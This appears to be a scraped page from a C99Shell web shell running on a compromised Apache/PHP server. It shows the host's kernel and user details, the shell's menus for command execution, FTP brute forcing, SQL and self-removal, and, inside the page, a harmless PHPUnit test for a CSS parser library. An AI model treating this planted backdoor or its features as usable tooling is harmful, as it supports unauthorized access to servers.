!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/uploads/script/vendor/sabberworm/php-css-parser/tests/Sabberworm/CSS/RuleSet/   drwxr-xr-x
Free 13.23 GB of 57.97 GB (22.83%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     DeclarationBlockTest.php (10.74 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Sabberworm\CSS\RuleSet;

use 
Sabberworm\CSS\Parser;
use 
Sabberworm\CSS\Rule\Rule;
use 
Sabberworm\CSS\Value\Size;

class 
DeclarationBlockTest extends \PHPUnit_Framework_TestCase {

    
/**
     * @dataProvider expandBorderShorthandProvider
     * */
    
public function testExpandBorderShorthand($sCss$sExpected) {
        
$oParser = new Parser($sCss);
        
$oDoc $oParser->parse();
        foreach (
$oDoc->getAllDeclarationBlocks() as $oDeclaration) {
            
$oDeclaration->expandBorderShorthand();
        }
        
$this->assertSame(trim((string) $oDoc), $sExpected);
    }

    public function 
expandBorderShorthandProvider() {
        return array(
            array(
'body{ border: 2px solid #000 }''body {border-width: 2px;border-style: solid;border-color: #000;}'),
            array(
'body{ border: none }''body {border-style: none;}'),
            array(
'body{ border: 2px }''body {border-width: 2px;}'),
            array(
'body{ border: #f00 }''body {border-color: #f00;}'),
            array(
'body{ border: 1em solid }''body {border-width: 1em;border-style: solid;}'),
            array(
'body{ margin: 1em; }''body {margin: 1em;}')
        );
    }

    
/**
     * @dataProvider expandFontShorthandProvider
     * */
    
public function testExpandFontShorthand($sCss$sExpected) {
        
$oParser = new Parser($sCss);
        
$oDoc $oParser->parse();
        foreach (
$oDoc->getAllDeclarationBlocks() as $oDeclaration) {
            
$oDeclaration->expandFontShorthand();
        }
        
$this->assertSame(trim((string) $oDoc), $sExpected);
    }

    public function 
expandFontShorthandProvider() {
        return array(
            array(
                
'body{ margin: 1em; }',
                
'body {margin: 1em;}'
            
),
            array(
                
'body {font: 12px serif;}',
                
'body {font-style: normal;font-variant: normal;font-weight: normal;font-size: 12px;line-height: normal;font-family: serif;}'
            
),
            array(
                
'body {font: italic 12px serif;}',
                
'body {font-style: italic;font-variant: normal;font-weight: normal;font-size: 12px;line-height: normal;font-family: serif;}'
            
),
            array(
                
'body {font: italic bold 12px serif;}',
                
'body {font-style: italic;font-variant: normal;font-weight: bold;font-size: 12px;line-height: normal;font-family: serif;}'
            
),
            array(
                
'body {font: italic bold 12px/1.6 serif;}',
                
'body {font-style: italic;font-variant: normal;font-weight: bold;font-size: 12px;line-height: 1.6;font-family: serif;}'
            
),
            array(
                
'body {font: italic small-caps bold 12px/1.6 serif;}',
                
'body {font-style: italic;font-variant: small-caps;font-weight: bold;font-size: 12px;line-height: 1.6;font-family: serif;}'
            
),
        );
    }

    
/**
     * @dataProvider expandBackgroundShorthandProvider
     * */
    
public function testExpandBackgroundShorthand($sCss$sExpected) {
        
$oParser = new Parser($sCss);
        
$oDoc $oParser->parse();
        foreach (
$oDoc->getAllDeclarationBlocks() as $oDeclaration) {
            
$oDeclaration->expandBackgroundShorthand();
        }
        
$this->assertSame(trim((string) $oDoc), $sExpected);
    }

    public function 
expandBackgroundShorthandProvider() {
        return array(
            array(
'body {border: 1px;}''body {border: 1px;}'),
            array(
'body {background: #f00;}''body {background-color: #f00;background-image: none;background-repeat: repeat;background-attachment: scroll;background-position: 0% 0%;}'),
            array(
'body {background: #f00 url("foobar.png");}''body {background-color: #f00;background-image: url("foobar.png");background-repeat: repeat;background-attachment: scroll;background-position: 0% 0%;}'),
            array(
'body {background: #f00 url("foobar.png") no-repeat;}''body {background-color: #f00;background-image: url("foobar.png");background-repeat: no-repeat;background-attachment: scroll;background-position: 0% 0%;}'),
            array(
'body {background: #f00 url("foobar.png") no-repeat center;}''body {background-color: #f00;background-image: url("foobar.png");background-repeat: no-repeat;background-attachment: scroll;background-position: center center;}'),
            array(
'body {background: #f00 url("foobar.png") no-repeat top left;}''body {background-color: #f00;background-image: url("foobar.png");background-repeat: no-repeat;background-attachment: scroll;background-position: top left;}'),
        );
    }

    
/**
     * @dataProvider expandDimensionsShorthandProvider
     * */
    
public function testExpandDimensionsShorthand($sCss$sExpected) {
        
$oParser = new Parser($sCss);
        
$oDoc $oParser->parse();
        foreach (
$oDoc->getAllDeclarationBlocks() as $oDeclaration) {
            
$oDeclaration->expandDimensionsShorthand();
        }
        
$this->assertSame(trim((string) $oDoc), $sExpected);
    }

    public function 
expandDimensionsShorthandProvider() {
        return array(
            array(
'body {border: 1px;}''body {border: 1px;}'),
            array(
'body {margin-top: 1px;}''body {margin-top: 1px;}'),
            array(
'body {margin: 1em;}''body {margin-top: 1em;margin-right: 1em;margin-bottom: 1em;margin-left: 1em;}'),
            array(
'body {margin: 1em 2em;}''body {margin-top: 1em;margin-right: 2em;margin-bottom: 1em;margin-left: 2em;}'),
            array(
'body {margin: 1em 2em 3em;}''body {margin-top: 1em;margin-right: 2em;margin-bottom: 3em;margin-left: 2em;}'),
        );
    }

    
/**
     * @dataProvider createBorderShorthandProvider
     * */
    
public function testCreateBorderShorthand($sCss$sExpected) {
        
$oParser = new Parser($sCss);
        
$oDoc $oParser->parse();
        foreach (
$oDoc->getAllDeclarationBlocks() as $oDeclaration) {
            
$oDeclaration->createBorderShorthand();
        }
        
$this->assertSame(trim((string) $oDoc), $sExpected);
    }

    public function 
createBorderShorthandProvider() {
        return array(
            array(
'body {border-width: 2px;border-style: solid;border-color: #000;}''body {border: 2px solid #000;}'),
            array(
'body {border-style: none;}''body {border: none;}'),
            array(
'body {border-width: 1em;border-style: solid;}''body {border: 1em solid;}'),
            array(
'body {margin: 1em;}''body {margin: 1em;}')
        );
    }

    
/**
     * @dataProvider createFontShorthandProvider
     * */
    
public function testCreateFontShorthand($sCss$sExpected) {
        
$oParser = new Parser($sCss);
        
$oDoc $oParser->parse();
        foreach (
$oDoc->getAllDeclarationBlocks() as $oDeclaration) {
            
$oDeclaration->createFontShorthand();
        }
        
$this->assertSame(trim((string) $oDoc), $sExpected);
    }

    public function 
createFontShorthandProvider() {
        return array(
            array(
'body {font-size: 12px; font-family: serif}''body {font: 12px serif;}'),
            array(
'body {font-size: 12px; font-family: serif; font-style: italic;}''body {font: italic 12px serif;}'),
            array(
'body {font-size: 12px; font-family: serif; font-style: italic; font-weight: bold;}''body {font: italic bold 12px serif;}'),
            array(
'body {font-size: 12px; font-family: serif; font-style: italic; font-weight: bold; line-height: 1.6;}''body {font: italic bold 12px/1.6 serif;}'),
            array(
'body {font-size: 12px; font-family: serif; font-style: italic; font-weight: bold; line-height: 1.6; font-variant: small-caps;}''body {font: italic small-caps bold 12px/1.6 serif;}'),
            array(
'body {margin: 1em;}''body {margin: 1em;}')
        );
    }

    
/**
     * @dataProvider createDimensionsShorthandProvider
     * */
    
public function testCreateDimensionsShorthand($sCss$sExpected) {
        
$oParser = new Parser($sCss);
        
$oDoc $oParser->parse();
        foreach (
$oDoc->getAllDeclarationBlocks() as $oDeclaration) {
            
$oDeclaration->createDimensionsShorthand();
        }
        
$this->assertSame(trim((string) $oDoc), $sExpected);
    }

    public function 
createDimensionsShorthandProvider() {
        return array(
            array(
'body {border: 1px;}''body {border: 1px;}'),
            array(
'body {margin-top: 1px;}''body {margin-top: 1px;}'),
            array(
'body {margin-top: 1em; margin-right: 1em; margin-bottom: 1em; margin-left: 1em;}''body {margin: 1em;}'),
            array(
'body {margin-top: 1em; margin-right: 2em; margin-bottom: 1em; margin-left: 2em;}''body {margin: 1em 2em;}'),
            array(
'body {margin-top: 1em; margin-right: 2em; margin-bottom: 3em; margin-left: 2em;}''body {margin: 1em 2em 3em;}'),
        );
    }

    
/**
     * @dataProvider createBackgroundShorthandProvider
     * */
    
public function testCreateBackgroundShorthand($sCss$sExpected) {
        
$oParser = new Parser($sCss);
        
$oDoc $oParser->parse();
        foreach (
$oDoc->getAllDeclarationBlocks() as $oDeclaration) {
            
$oDeclaration->createBackgroundShorthand();
        }
        
$this->assertSame(trim((string) $oDoc), $sExpected);
    }

    public function 
createBackgroundShorthandProvider() {
        return array(
            array(
'body {border: 1px;}''body {border: 1px;}'),
            array(
'body {background-color: #f00;}''body {background: #f00;}'),
            array(
'body {background-color: #f00;background-image: url(foobar.png);}''body {background: #f00 url("foobar.png");}'),
            array(
'body {background-color: #f00;background-image: url(foobar.png);background-repeat: no-repeat;}''body {background: #f00 url("foobar.png") no-repeat;}'),
            array(
'body {background-color: #f00;background-image: url(foobar.png);background-repeat: no-repeat;}''body {background: #f00 url("foobar.png") no-repeat;}'),
            array(
'body {background-color: #f00;background-image: url(foobar.png);background-repeat: no-repeat;background-position: center;}''body {background: #f00 url("foobar.png") no-repeat center;}'),
            array(
'body {background-color: #f00;background-image: url(foobar.png);background-repeat: no-repeat;background-position: top left;}''body {background: #f00 url("foobar.png") no-repeat top left;}'),
        );
    }

    public function 
testOverrideRules() {
        
$sCss '.wrapper { left: 10px; text-align: left; }';
        
$oParser = new Parser($sCss);
        
$oDoc $oParser->parse();
        
$oRule = new Rule('right');
        
$oRule->setValue('-10px');
        
$aContents $oDoc->getContents();
        
$oWrapper $aContents[0];

        
$this->assertCount(2$oWrapper->getRules());
        
$aContents[0]->setRules(array($oRule));

        
$aRules $oWrapper->getRules();
        
$this->assertCount(1$aRules);
        
$this->assertEquals('right'$aRules[0]->getRule());
        
$this->assertEquals('-10px'$aRules[0]->getValue());
    }
    
    public function 
testRuleInsertion() {
        
$sCss '.wrapper { left: 10px; text-align: left; }';
        
$oParser = new Parser($sCss);
        
$oDoc $oParser->parse();
        
$aContents $oDoc->getContents();
        
$oWrapper $aContents[0];

        
$oFirst $oWrapper->getRules('left');
        
$this->assertCount(1$oFirst);
        
$oFirst $oFirst[0];

        
$oSecond $oWrapper->getRules('text-');
        
$this->assertCount(1$oSecond);
        
$oSecond $oSecond[0];

        
$oBefore = new Rule('left');
        
$oBefore->setValue(new Size(16'em'));

        
$oMiddle = new Rule('text-align');
        
$oMiddle->setValue(new Size(1));

        
$oAfter = new Rule('border-bottom-width');
        
$oAfter->setValue(new Size(1'px'));

        
$oWrapper->addRule($oAfter);
        
$oWrapper->addRule($oBefore$oFirst);
        
$oWrapper->addRule($oMiddle$oSecond);

        
$aRules $oWrapper->getRules();

        
$this->assertSame($oBefore$aRules[0]);
        
$this->assertSame($oFirst$aRules[1]);
        
$this->assertSame($oMiddle$aRules[2]);
        
$this->assertSame($oSecond$aRules[3]);
        
$this->assertSame($oAfter$aRules[4]);

        
$this->assertSame('.wrapper {left: 16em;left: 10px;text-align: 1;text-align: left;border-bottom-width: 1px;}'$oDoc->render());
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0066 ]--